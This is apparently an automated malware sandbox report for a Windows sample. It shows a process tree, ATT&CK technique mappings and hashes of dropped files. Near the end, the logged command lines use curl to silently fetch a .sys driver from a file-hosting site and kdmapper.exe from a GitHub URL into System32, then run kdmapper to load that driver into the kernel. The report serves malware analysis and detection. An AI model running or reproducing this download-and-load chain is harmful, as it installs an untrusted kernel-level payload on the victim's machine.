    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6180,i,6921147763380671542,14926789200405726151,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=4408 /prefetch:12
    3⤵
    PID:5908
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6720,i,6325924364457763018,6602788074669063306,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=6508 /prefetch:14
    3⤵
    PID:4864
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6732,i,1921626083692524848,5980388248852107226,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=6500 /prefetch:14
    3⤵
    PID:1168
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7496,i,10729398380751397994,15271617658807758625,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=7484 /prefetch:14
    3⤵
    PID:5696
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6700,i,9997815555553144519,14747522543113450687,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=7476 /prefetch:14
    3⤵
    PID:5072
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --metrics-shmem-handle=7524,i,5188783305817634033,16168302311263988263,2097152 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=4548 /prefetch:1
    3⤵
    PID:5372
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=6712,i,8243447515341097881,14214505821496735923,2097152 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=5632 /prefetch:1
    3⤵
    PID:5952
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1272,i,16127349398016216130,8711412963955644226,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=1404 /prefetch:14
    3⤵
    PID:6688
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1280,i,16515140578686052101,8400084929367397303,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=1416 /prefetch:14
    3⤵
    PID:6696
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1284,i,10871160617603185746,15457545216483187959,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=7752 /prefetch:14
    3⤵
    PID:6704
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7288,i,18311005827992791629,17702401529444289399,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=7312 /prefetch:14
    3⤵
    PID:7028
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6416,i,12662449392751825183,15810314059733143496,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=6352 /prefetch:14
    3⤵
    PID:5396
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=944,i,635585779988111366,4776540148990494468,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=6424 /prefetch:14
    3⤵
    PID:1248
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1384,i,3725387727757123863,8806821390333857579,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=6292 /prefetch:14
    3⤵
    PID:6496
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6492,i,3013144359209400282,12707244465998361140,262144 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=7080 /prefetch:10
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5356
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7012,i,16075344574031710889,13535031838446361779,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=1248 /prefetch:14
    3⤵
    PID:6708
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3068,i,16041262014491792555,13560628491752807922,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=6124 /prefetch:14
    3⤵
    PID:5460
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1384,i,492669759385786011,6396375841899134035,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=3988 /prefetch:14
    3⤵
    PID:5804
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5372,i,4227231856989177455,4012746451006297838,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:14
    3⤵
    PID:2648
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6604,i,17886543005212886065,16179134150054728366,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=7616 /prefetch:14
    3⤵
    PID:4160
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1488,i,8357702391802474805,18168670096959533594,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=6416 /prefetch:14
    3⤵
    PID:268
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7692,i,12821982658777484855,10050978502796267484,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=6236 /prefetch:14
    3⤵
    PID:1792
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1404,i,8064835870619794162,5374100222731861486,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=7516 /prefetch:14
    3⤵
    PID:6276
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1316,i,16195684246249892278,10551236016545925785,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=1388 /prefetch:14
    3⤵
    PID:3384
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6148,i,12991630878636598774,886965611444722353,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=3564 /prefetch:14
    3⤵
    PID:6328
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5928,i,12346623677943823283,17600210434923563710,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=6088 /prefetch:14
    3⤵
    PID:5268
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6416,i,2394435921694862937,16456721101411883257,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=1384 /prefetch:14
    3⤵
    PID:5240
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7584,i,11289813033815049456,10162283346416391864,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=1500 /prefetch:14
    3⤵
    PID:3020
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6236,i,7656381084733403078,1399500583771746589,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=7548 /prefetch:14
    3⤵
    PID:5836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1328,i,7834480960026026717,1116254810877504995,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=6100 /prefetch:14
    3⤵
    PID:4716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/xenoud
  2⤵
  PID:1116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:4308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2972
- - C:\Windows\system32\curl.exe
    curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys
    3⤵
    PID:4480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\system32\curl.exe
    curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe
    3⤵
    - Downloads MZ/PE file
    - Drops file in System32 directory
    PID:3100
- C:\Windows\System32\kdmapper.exe
  "C:\Windows\System32\kdmapper.exe" C:\Windows\System32\hobo.sys
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:5336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:6352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:6424
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c pause
  2⤵
  - Executes a command shell one-liner
  PID:6436

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2840

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4516

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c95a47aec5edba88214fad580cb869417b6620a91d8ee97e2d0b7801d3372be5
MD5 aad5f2ca0dd16bb2ea6c7757ea569c50
SHA1 5228b0b132542be004ea1bb32f3748964d065af5
SHA512 9d59c0291d741bd9d6cf50c22972d4baef00e7c1a48d6a3311a6cc82c04ceeba6e2be9458334cb954878915cc9eb91a8fd8bc4a47c966d57a2a05d6ee8211640
TLSH
T1D4D09BE177A19D18C545353567D1522591416D31451927194241E13D9D7E2C3455F0AA
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ac1b1f93ff87eb876027f4166d705375c0f5d3d22dcb03f6a66f6100e88dd10f
MD5 b99f03c5cfe71b03836f8b5fcf09425b
SHA1 8a5078499c0b5ea40183efb77f9c1028c196409c
SHA512 6b9feec4ead7bf05f67d0d480907e21a3b770d8d12dedd2b0d785904186eac7448583e61abacb23582948de55c8ea2043bfd6908efd7faecdd82cee91404cfe6
TLSH
T16DD02BE037909D18C440353163D0122091006C30880923090100A02C8D3E2C3054F0BE
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 334B
SHA256 3dc65e101f4cbbafddbc630458bacc0bc5135170d9f0feb4c93baa81de76ce3d
MD5 a80757462bcf43f854f1914f69e3e47e
SHA1 c35b3f965c26f3233012ad9e852f56bb188f8bdb
SHA512 d1bce69e2747c40465387bf79406c1b8125d601f5501d4a2fc0de2cd6b1805a0849744fec200f55d3fee9afdeb9807bad9c179286598baf6af32a736f05d64b0
TLSH
T127E0209E0AC8D26D9101A487437D534D82C0360AE7CCAE153B348C64710754077B7960
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 334B
SHA256 5a744ba689a105c7ecb325b831c331ff0f694390bc5a6bbe6257409b615a9f0a
MD5 a80a210964cb8445c797481808b2b030
SHA1 9c12cce258efa8beace922165de77ef00de018fc
SHA512 d52f8cc031ba790a1ee1fbbb0eb7760b9b5751b8f280fc975a6ae32c418be1601a674e969c51297e992afdd860bfd5f1f6568e2ced69d4e2dc5f3056cb3c8738
TLSH
T1E5E026CD27CED23EE2046447427C930C82C0361EA6C8AA5A170994E47682840A3AFEE0
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 8KB
SHA256 98c0030ccead444d2265784d29851455e2965c9cbd00bccc3ea22508332562bc
MD5 60c6707a05d42d3d6d2043002a3ec95d
SHA1 c0bdcf9a98fc9a1db7011186106e6f932d3e5da3
SHA512 277f29e1bf1957c31d9c7e83ccd73d4a68c9c1dbfcb058d36605580f0ec297d8c85f2fbe823359811b0e39d1d7dde4cbb10f522d1b9753ffaba175190c16aaee
SSDEEP 96:ELy61hrlySpBleYCH0bVbeIgYWQb2bZqr8HlmfKCt6mfhutDvYebQgQT8GDtfcX8:S3rlhbVbeIvbrQbQTxVW8/D
TLSH
T1A3024E6E33B105D3EF5998BEBCE69468B2FA8405467F2EDA004C6C735C42F4646F58A3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe59d94f.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59d94f.TMP
Size 3KB
SHA256 4efbcbdb0bee38e83ae474f5b83587a1fa8253408ba2050c9cc0823769d988d7
MD5 846de3a9a042675e93b0f9285a6e9509
SHA1 2c03ca09e02a9195925821474178b2eeba0d07bb
SHA512 8729bba10829ee62605f8407af3eb40e63a49ef4bafd5daaa8a4fcb3920d2fc282ff2157e80f1784aebfa4da3371b0799f48e7b0ca2ea63aa5ed17f0eaa48eda
TLSH
T1A361A57603360AD3EB6989BBB9F298A4B2FFC849468F1E1A01555DB79C02F0750E5CD3
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 6KB
SHA256 c86b675bd88f6ade620c96e4c75da9e92aacf85ba23cb3935a68b9d186bd5679
MD5 400f640bb4bc182b7c224e43683238ae
SHA1 e38065e8499e337f1620bd0bed8e1e8d02b5f790
SHA512 ee8553b1287060cf7fe9f991e672bb3c902a0ca84c197ad1ff09590c16503b8745dfbb3a53f46bc39f5952c594bab9b5bf038d80a0f97dfc01b6a8e9d924e5f9
SSDEEP 192:DH3L/rnz8KdYqfRjaWwSaLRLUSruk2iGoLrBaNGUw:DH3L/rnz8KdYqfRjaWwSaLRLUSruk2iB
TLSH
T13BE19BF7C2E9866DD91116F4AA143E1BCE2D0918432C3D1AC8E5AF1FA7F2471E141A5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 5KB
SHA256 ecc2cc3062b52243d2a33c6b6fdb081ca42f0ce8dff8d28bce94270d426f2f81
MD5 47140c9576c5ede9758e309cfd83c919
SHA1 ddafb47f1e221c0b0fc13aa24f09c753943692fc
SHA512 e9a69f980bcb0dbd57bf95476711feaa4d82fd7d13849658cc574a054d1af298c90410820437640684a45797e1f19ae058b62caa0e21e82b3307cb2a97f2a55c
SSDEEP 96:D/OtuNxuJul1BSuWadjaWTzBaLILUcueuu6BuliLLLuguqwxGj4/Qpw:DWtuNxY61BSJadjaWT1aLILUcrurGiLi
TLSH
T129C19EF783F9866DE91152F0EA047E2BCE2C0514432C3C6AC9D09E1BA7E24B1E181F5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 6KB
SHA256 89a7eb26f711ad34441159ce91f62ceddfb83556f1933c7a0c88478543b43dba
MD5 31372aacd25c19909f6fe514a498e428
SHA1 20b5bcf8fc5c87c7dafd52ec3753749e674772d7
SHA512 a87d971f90bad87d4ad9e061ca30985d0a80d5e5f0013672429bb7f807b64eabbb670da5228cb368a11cfe04c653672ac69d3ca898e7623286a9b45866b85c06
SSDEEP 192:DH3L/rnz8KdYqDjaWwSaLRLUGoruk2iGoLrBShT:DH3L/rnz8KdYqDjaWwSaLRLUGoruk2iw
TLSH
T1D4D19BF7C2E9866DD91156F4AA143E1BCE2D0918832C3D1AC8E4AF1FA7F2471E141A5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 26KB
SHA256 ef59e31c93dc21db0b1ce3ce80f76cd93aebc4bed5f335e7a8443c971644e969
MD5 4753c11d6daa544d999c84683a874a32
SHA1 e64d366094f9696e07c39b5349938dc6e6d1c9ce
SHA512 f4c22c85175d68db3b8fb772835d2d74fed51e1834da5c5f91e7362fd89b1d4c77c82e6a000ab82d03ab563c9b06c3be6c4f9dee18594101709d0c8a8b9a97eb
SSDEEP 384:sxRvlKf/fdsQ/66s8qMpRiYnazAW8pZS15posJWeT+SnvZ+pO/5+k/eQvi:sLl6/f7/4Mnc7WeT+Ol/5teQa
TLSH
T192C20806A924C83B9EC35E19793D7E33DAEC506262C5DEDA56ECCA0C019E1FDAB07417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 3f7911ffbbc0846b822fb95fb5d1ec13b4edb07c413fa5231df1b6846bea58bc
MD5 4430034501a63b3144e4d364991b6f61
SHA1 9af66eba37d698ae2a8ac792c8af9b3f62891961
SHA512 1abc235affd827cc7b677f6797cb02a374e8c840eed8fefa11ff9c531bc83e886a1663e40dce4a2a86498998ba31bee95294c37992473cede04ff6d76531cc1f
SSDEEP 192:sxRvRkCKf/fdsQZnhZTF+3gzoA8ply/g6+WNpKpjih/eBYSosCYiGaIgDNiawJ:sxRvlKf/fdsQZnvZ+pg/5+k/eQvi
TLSH
T16042C756AA28993B5CCFD319BA15BF63D6F91032A1D11E48A7FC8B0C14EB6DD630740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

